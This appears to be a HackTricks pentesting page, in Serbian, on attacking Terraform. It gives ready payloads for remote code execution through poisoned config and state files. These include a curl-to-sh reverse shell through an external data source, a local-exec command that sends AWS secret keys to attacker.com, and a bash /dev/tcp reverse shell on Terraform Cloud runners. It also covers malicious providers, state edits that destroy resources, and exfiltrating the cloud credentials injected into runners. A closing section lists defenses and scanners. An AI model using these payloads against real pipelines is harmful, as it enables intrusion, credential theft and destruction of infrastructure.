Terraform Security

Reading time: 16 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumenata:

HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete kako resurse u oblaku, tako i lokalne resurse u konfiguracionim datotekama koje su čitljive za ljude, a koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti dosledan radni tok za obezbeđivanje i upravljanje svim vašim infrastrukturnim resursima tokom njihovog životnog ciklusa. Terraform može upravljati niskonivnim komponentama kao što su resursi za računanje, skladištenje i umrežavanje, kao i visokolevelnim komponentama kao što su DNS unosi i SaaS funkcije.

Kako Terraform funkcioniše?

Terraform kreira i upravlja resursima na platformama u oblaku i drugim uslugama putem njihovih interfejsa za programiranje aplikacija (API). Provajderi omogućavaju Terraformu da radi sa praktično bilo kojom platformom ili uslugom koja ima dostupan API.

HashiCorp i Terraform zajednica su već napisali više od 1700 provajdera za upravljanje hiljadama različitih tipova resursa i usluga, a ovaj broj se nastavlja povećavati. Sve javno dostupne provajdere možete pronaći na Terraform Registry, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i mnoge druge.

Osnovni radni tok Terraform-a sastoji se od tri faze:

  • Pisanje: Definišete resurse, koji mogu biti raspoređeni preko više provajdera i usluga u oblaku. Na primer, možete kreirati konfiguraciju za implementaciju aplikacije na virtuelnim mašinama u mreži Virtuelne Privatne Oblasti (VPC) sa sigurnosnim grupama i balansirnikom opterećenja.
  • Planiranje: Terraform kreira plan izvršenja koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
  • Primena: Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući sve zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.

Terraform laboratorija

Samo instalirajte terraform na vašem računaru.

Ovde imate vodič i ovde imate najbolji način za preuzimanje terraforma.

RCE u Terraform-u: trovanje konfiguracione datoteke

Terraform nema platformu koja izlaže web stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform da možemo dodati/izmeniti terraform konfiguracione datoteke ili da možemo izmeniti terraform stanje datoteke (vidi poglavlje ispod).

Međutim, terraform je veoma osetljiva komponenta za kompromitovanje jer će imati privilegovan pristup različitim lokacijama kako bi mogao pravilno da funkcioniše.

Glavni način na koji napadač može kompromitovati sistem na kojem se terraform izvršava je kompromitovanje repozitorijuma koji čuva terraform konfiguracije, jer će u nekom trenutku biti interpretirane.

U stvari, postoje rešenja koja automatski izvršavaju terraform plan/primenu nakon što je PR kreiran, kao što je Atlantis:

Atlantis Security

Ako ste u mogućnosti da kompromitujete terraform datoteku, postoje različiti načini na koje možete izvršiti RCE kada neko izvrši terraform plan ili terraform apply.

Terraform plan

Terraform plan je najčešće korišćena komanda u terraform-u i programeri/rešenja koja koriste terraform je pozivaju stalno, tako da je najlakši način da dobijete RCE da se pobrinete da otrovate terraform konfiguracionu datoteku koja će izvršiti proizvoljne komande u terraform plan.

Korišćenje spoljnog provajdera

Terraform nudi external provajder koji pruža način za interakciju između Terraforma i spoljnjih programa. Možete koristiti external izvor podataka za izvršavanje proizvoljnog koda tokom plana.

Umetanje nečega poput sledećeg u terraform konfiguracionu datoteku izvršiće rev shell kada se izvrši terraform plan:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Korišćenje prilagođenog provajdera

Napadač bi mogao poslati custom provider na Terraform Registry i zatim ga dodati u Terraform kod u funkcionalnoj grani (primer odavde):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provajder se preuzima u init i izvršiće maliciozni kod kada se izvrši plan.

Možete pronaći primer na https://github.com/rung/terraform-provider-cmdexec

Korišćenje spoljnog reference

Obe pomenute opcije su korisne, ali nisu baš diskretne (druga je diskretnija, ali složenija od prve). Ovaj napad možete izvesti čak i na diskretniji način, prateći ove sugestije:

  • Umesto da direktno dodate rev shell u terraform datoteku, možete učitati spoljnji resurs koji sadrži rev shell:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Možete pronaći rev shell kod na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • U spoljnim resursima, koristite ref funkciju da sakrijete terraform rev shell kod u grani unutar repozitorijuma, nešto poput: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply će biti izvršen da primeni sve promene, takođe ga možete zloupotrebiti da dobijete RCE injektovanjem malicioznog Terraform fajla sa local-exec.
Samo treba da se pobrinete da neki payload poput sledećih završi u main.tf fajlu:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sledite preporukama iz prethodne tehnike da izvršite ovaj napad na diskretniji način koristeći spoljne reference.

Izvori tajni

Možete imati tajne vrednosti koje koristi terraform izbačene pokretanjem terraform apply dodavanjem nečega poput:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Zloupotreba Terraform State Fajlova

U slučaju da imate pristup za pisanje nad terraform state fajlovima, ali ne možete da menjate terraform kod, ova istraživanja nude neke zanimljive opcije za korišćenje fajla. Čak i ako biste imali pristup za pisanje nad konfiguracionim fajlovima, korišćenje vektora state fajlova je često mnogo podlije, pošto ne ostavljate tragove u git istoriji.

RCE u Terraform-u: trovanje konfiguracionog fajla

Moguće je napraviti prilagođenog provajdera i jednostavno zameniti jednog od provajdera u terraform state fajlu za zlonamernog ili dodati lažni resurs koji se poziva na zlonamernog provajdera.

Provajder statefile-rce se oslanja na istraživanje i oružava ovaj princip. Možete dodati lažni resurs i navesti proizvoljnu bash komandu koju želite da izvršite u atributu command. Kada se pokrene terraform run, ovo će biti pročitano i izvršeno u koracima terraform plan i terraform apply. U slučaju koraka terraform apply, terraform će obrisati lažni resurs iz state fajla nakon izvršavanja vaše komande, čisteći za sobom. Više informacija i potpuna demonstracija mogu se naći u GitHub repozitorijumu koji hostuje izvorni kod za ovog provajdera.

Da biste ga koristili direktno, jednostavno uključite sledeće na bilo kojoj poziciji u resources nizu i prilagodite atribute name i command:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Zatim, čim se terraform izvrši, vaš kod će se pokrenuti.

Brisanje resursa

Postoje 2 načina da se unište resursi:

  1. Umetnite resurs sa nasumičnim imenom u datoteku stanja koja pokazuje na pravi resurs koji treba uništiti

Pošto će terraform videti da resurs ne bi trebao da postoji, uništiće ga (prateći pravi ID resursa koji je naznačen). Primer sa prethodne strane:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Izmenite resurs za brisanje na način da nije moguće ažurirati (tako da će biti obrisan i ponovo kreiran)

Za EC2 instancu, izmena tipa instance je dovoljna da terraform obriše i ponovo je kreira.

Zamenite crnu listu provajdera

U slučaju da naiđete na situaciju gde je hashicorp/external stavljen na crnu listu, možete ponovo implementirati external provajder na sledeći način. Napomena: Koristimo fork external provajdera objavljen od strane https://registry.terraform.io/providers/nazarewk/external/latest. Takođe možete objaviti svoj vlastiti fork ili ponovnu implementaciju.

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Tada možete koristiti external kao i obično.

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Ovaj scenario zloupotrebljava Terraform Cloud (TFC) izvršitelje tokom spekulativnih planova da bi se prešao u ciljni cloud nalog.

  • Preduslovi:

  • Ukrao Terraform Cloud token sa developerske mašine. CLI čuva tokene u običnom tekstu na ~/.terraform.d/credentials.tfrc.json.

  • Token mora imati pristup ciljnjoj organizaciji/radnom prostoru i najmanje plan dozvolu. VCS-podržani radni prostori blokiraju apply iz CLI, ali i dalje omogućavaju spekulativne planove.

  • Otkrijte postavke radnog prostora i VCS putem TFC API:

bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Pokrenite izvršavanje koda tokom spekulativnog plana koristeći spoljašnji izvor podataka i Terraform Cloud "cloud" blok za ciljanje VCS-podržanog radnog prostora:
hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Primer rsync.sh za dobijanje reverzne ljuske na TFC runner-u:

bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Pokrenite spekulativni plan za izvršavanje programa na ephemernom izvršitelju:

bash
terraform init
terraform plan
  • Enumerisati i exfiltrirati injektovane cloud kredencijale iz runner-a. Tokom izvršavanja, TFC injektuje kredencijale provajdera putem fajlova i promenljivih okruženja:
bash
env | grep -i gcp || true
env | grep -i aws || true

Očekivani fajlovi u radnom direktorijumu runner-a:

  • GCP:

  • tfc-google-application-credentials (JSON konfiguracija Workload Identity Federation)

  • tfc-gcp-token (token za pristup GCP sa kratkim vremenom trajanja)

  • AWS:

  • tfc-aws-shared-config (konfiguracija pretpostavke uloge web identiteta/OIDC)

  • tfc-aws-token (token sa kratkim vremenom trajanja; neke organizacije mogu koristiti statičke ključeve)

  • Koristite kratkoročne akreditive van kanala da biste zaobišli VCS kapije:

GCP (gcloud):

bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Sa ovim kredencijalima, napadači mogu da kreiraju/modifikuju/unište resurse direktno koristeći native CLIs, zaobilazeći PR-bazirane radne tokove koji blokiraju apply putem VCS-a.

  • Defensivna uputstva:
  • Primeni najmanje privilegije za TFC korisnike/timove i tokene. Revizija članstva i izbegavanje prevelikih vlasnika.
  • Ograniči plan dozvolu na osetljivim VCS-podržanim radnim prostorima gde je to moguće.
  • Sprovodi allowlist-e za provajdere/izvore podataka sa Sentinel politikama kako bi blokirao data "external" ili nepoznate provajdere. Pogledaj HashiCorp uputstva o filtriranju provajdera.
  • Preferiraj OIDC/WIF umesto statičnih cloud kredencijala; tretiraj trkače kao osetljive. Prati spekulativne planove i neočekivani izlaz.
  • Otkrivanje eksfiltracije tfc-* artefakata kredencijala i upozoravanje na sumnjivu upotrebu external programa tokom planova.

Automatski alati za reviziju

Snyk Infrastructure as Code (IaC)

Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform-u, CloudFormation-u, Kubernetes-u i drugim IaC formatima.

  • Karakteristike:
  • Skeniranje u realnom vremenu za sigurnosne ranjivosti i probleme usklađenosti.
  • Integracija sa sistemima za kontrolu verzija (GitHub, GitLab, Bitbucket).
  • Automatski pull zahtevi za ispravke.
  • Detaljna uputstva za otklanjanje problema.
  • Prijavi se: Kreiraj nalog na Snyk.
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov je alat za statičku analizu koda za infrastrukturu kao kod (IaC) i takođe alat za analizu sastava softvera (SCA) za slike i pakete otvorenog koda.

Skenira cloud infrastrukturu koja je obezbeđena koristeći Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, ili OpenTofu i otkriva bezbednosne i usklađenosti greške u konfiguraciji koristeći skeniranje zasnovano na grafu.

Izvodi Software Composition Analysis (SCA) skeniranje koje je skeniranje paketa otvorenog koda i slika za zajedničke ranjivosti i izloženosti (CVE).

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance je lagan, bezbednosno i usklađenosti fokusiran test okvir protiv terraform-a koji omogućava negativno testiranje za vašu infrastrukturu kao kod.

  • usaglašenost: Osigurajte da implementirani kod prati bezbednosne standarde, vaše sopstvene prilagođene standarde
  • razvoj vođen ponašanjem: Imamo BDD za gotovo sve, zašto ne i za IaC?
  • prenosiv: samo ga instalirajte putem pip ili ga pokrenite putem docker. Pogledajte Instalacija
  • pre-deploy: validira vaš kod pre nego što bude implementiran
  • lako za integraciju: može se pokrenuti u vašem pipeline-u (ili u git hooks) kako bi se osiguralo da su sve implementacije validirane.
  • razdvajanje dužnosti: možete čuvati svoje testove u drugom repozitorijumu gde je odgovorna posebna ekipa.

note

Nažalost, ako kod koristi neke provajdere kojima nemate pristup, nećete moći da izvršite terraform plan i pokrenete ovaj alat.

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Iz dokumentacije: tfsec koristi statičku analizu vašeg terraform koda da bi uočio potencijalne pogrešne konfiguracije.

  • ☁️ Proverava pogrešne konfiguracije kod svih glavnih (i nekih manjih) provajdera u oblaku
  • ⛔ Stotine ugrađenih pravila
  • 🪆 Skenira module (lokalne i udaljene)
  • ➕ Evaluira HCL izraze kao i literalne vrednosti
  • ↪️ Evaluira Terraform funkcije npr. concat()
  • 🔗 Evaluira odnose između Terraform resursa
  • 🧰 Kompatibilan sa Terraform CDK
  • 🙅 Primena (i obogaćivanje) korisnički definisanih Rego politika
  • 📃 Podržava više formata izlaza: lepi (podrazumevani), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif.
  • 🛠️ Konfigurisanje (putem CLI zastavica i/ili konfiguracione datoteke)
  • ⚡ Veoma brzo, sposobno da brzo skenira ogromne repozitorijume
bash
brew install tfsec
tfsec /path/to/folder

KICKS

Pronađite bezbednosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvoju vaše infrastrukture kao koda uz KICS od Checkmarx.

KICS označava Keeping Infrastructure as Code Secure, otvorenog je koda i neophodan je za svaki projekat u oblaku.

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Iz dokumentacije: Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:

  • Besprekorno skenirate infrastrukturu kao kod za pogrešne konfiguracije.
  • Pratite obezbeđenu cloud infrastrukturu za promene konfiguracije koje uvode promene u posturi, i omogućava vraćanje na sigurnu posturu.
  • Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
  • Ublažavate rizike pre nego što obezbedite cloud native infrastrukturu.
  • Nudi fleksibilnost za lokalno pokretanje ili integraciju sa vašim CI\CD.
bash
brew install terrascan

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks